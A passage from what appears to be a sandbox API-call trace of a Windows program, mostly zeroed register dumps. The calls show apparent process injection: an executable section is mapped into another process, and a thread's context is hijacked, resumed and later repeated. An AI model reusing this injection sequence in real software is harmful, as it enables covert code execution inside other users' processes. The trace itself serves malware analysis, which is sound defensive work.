[184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0417.405] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x214) returned 0x0 [0417.405] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be574*=0x106a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5680000, SectionOffset=0x0, ViewSize=0x6be574*=0x107000) returned 0x0 [0417.411] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0x20c, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0x106a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0x2840000, SectionOffset=0x0, ViewSize=0x6be5b0*=0x107000) returned 0x0 [0417.427] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5680000) returned 0x0 [0417.451] NtClose (Handle=0x214) returned 0x0 [0417.451] NtSetContextThread (ThreadHandle=0x1e4, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0xbbfca8, Ebx=0x969000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0xbbfc50, Eip=0x28b4927, SegCs=0x23, EFlags=0x202, Esp=0xbbfc38, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0417.451] NtResumeThread (in: ThreadHandle=0x1e4, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0417.451] NtClose (Handle=0x20c) returned 0x0 [0417.451] NtClose (Handle=0x1e4) returned 0x0 [0417.452] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0xc74, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x1e4) returned 0x0 [0417.452] NtQueryInformationProcess (in: ProcessHandle=0x1e4, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0417.452] NtQueryInformationProcess (in: ProcessHandle=0x1e4, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0417.452] NtReadVirtualMemory (in: ProcessHandle=0x1e4, BaseAddress=0xfef000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0417.452] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0422.469] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0xca4) | out: ThreadHandle=0x6be92c*=0x20c) returned 0x0 [0422.469] NtSuspendThread (in: ThreadHandle=0x20c, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0422.469] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x1e4, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x2f10000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0422.473] NtGetContextThread (in: ThreadHandle=0x20c, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x10ffa50, Ebx=0xfef000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x10ff9f8, Eip=0x7742295c, SegCs=0x23, EFlags=0x212, Esp=0x10ff9e0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0422.473] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x214) returned 0x0 [0422.473] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, 